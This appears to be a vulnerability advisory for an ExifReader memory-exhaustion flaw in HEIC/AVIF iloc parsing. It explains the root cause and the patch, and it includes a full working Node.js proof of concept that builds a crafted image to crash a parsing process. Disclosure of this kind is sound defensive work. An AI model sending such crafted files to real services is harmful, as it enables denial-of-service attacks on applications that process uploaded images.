CVE-2026-85715: exifreader iloc Box Memory Exhaustion DoS
A tiny crafted HEIC or AVIF file can force ExifReader to allocate billions of JavaScript objects, exhausting Node.js heap memory and crashing the process.
The problem
ExifReader's getItems() function in src/image-header-iso-bmff-iloc.js parses the iloc box of ISO-BMFF containers (HEIC, AVIF). It reads attacker-controlled itemCount and extentCount values, then unconditionally allocates one JavaScript object per loop iteration, up to itemCount x extentCount (max 65535 x 65535 = ~4.3 billion objects).
When offsetSize, lengthSize, baseOffsetSize, and indexSize are all zero (valid per the ISO-BMFF spec, meaning the fields are absent), the buffer offset never advances inside the inner loop. The loop spins, allocating objects forever, with no iteration cap and no allocation budget check.
A 652-byte file produces 400 MB of heap growth. A ~1.5 KB file crashes the process with a JavaScript heap out-of-memory error.
Proof of concept
A working proof-of-concept for CVE-2026-85715 in exifreader, with the exact payload below.
// poc_iloc_dos.js — run with: node poc_iloc_dos.js
// Tested against exifreader <= 4.41.0
const ExifReader = require('exifreader');
function u32be(n) {
return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
return [(n >>> 8) & 255, n & 255];
}
function str(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
return [...u32be(8 + content.length), ...str(type), ...content];
}
// 100 items x 65535 extents = ~6.5M objects => ~400 MB heap, ~1.7s
// 256 items x 65535 extents => OOM crash
const ITEMS = 100;
const EXTENTS = 65535;
const ftyp = box('ftyp', [
...str('heic'),
...u32be(0),
...str('mif1'),
0, 0, 0, 0,
]);
// iloc header: version=0, flags=0, offsetSize|lengthSize=0x00, baseOffsetSize|indexSize=0x00
// itemCount = ITEMS
const ilocPayload = [
0, 0, 0, 0, // version + flags (full-box)
0x00, // offsetSize=0, lengthSize=0 (4-bit nibbles, both zero)
0x00, // baseOffsetSize=0, indexSize=0
...u16be(ITEMS),
];
for (let i = 0; i < ITEMS; i++) {
ilocPayload.push(...u16be(i + 1)); // itemID
ilocPayload.push(...u16be(0)); // dataReferenceIndex
ilocPayload.push(...u16be(EXTENTS)); // extentCount — triggers inner loop
// no extent bytes follow because all sizes are zero
}
const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);
console.log(`File: ${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents`);
try {
ExifReader.load(data.buffer);
} catch (e) {
console.log('Error:', e.message);
}The root cause is CWE-789 (Memory Allocation with Excessive Size Value) combined with CWE-835 (Infinite Loop). The four size fields in the iloc header are stored as 4-bit nibbles and zero is a legal ISO-BMFF value meaning the field is absent. When all four are zero, each offset += inside the inner loop adds zero, so the loop body re-reads the same buffer position on every iteration while still pushing a new object onto item.extents.
The patch (commit 17b901cd) adds a hard cap on extent objects allocated per item (MAX_EXTENTS_PER_ITEM) and breaks out of the inner loop when that threshold is reached. This bounds total allocation regardless of what the attacker puts in extentCount. An alternative guard (also noted in the advisory) is to skip the inner loop entirely when all extent field sizes are zero, since there is nothing meaningful to read.
The fix
Upgrade exifreader to 4.41.1 or later. The fix is in commit 17b901cd192d2c90d7f9f347bd3073b28b482699 on the mattiasw/ExifReader repository. No configuration workaround exists for older versions; the only safe remediation is the version upgrade.
Related research
- highCVE-2026-85730CVE-2026-85730: smol-toml Denial of Service via Infinite Loop in Parser
- highCVE-2026-61556CVE-2026-61556: LiquidJS strip_html Infinite Loop (DoS)
- high · 7.5CVE-2026-71314CVE-2026-71314: Nuxt Unauthenticated DoS via Unbounded v-for Expansion in Island Rendering
- high · 7.5CVE-2026-59879CVE-2026-59879: Immutable.js List 32-bit Trie Overflow leading to Denial of Service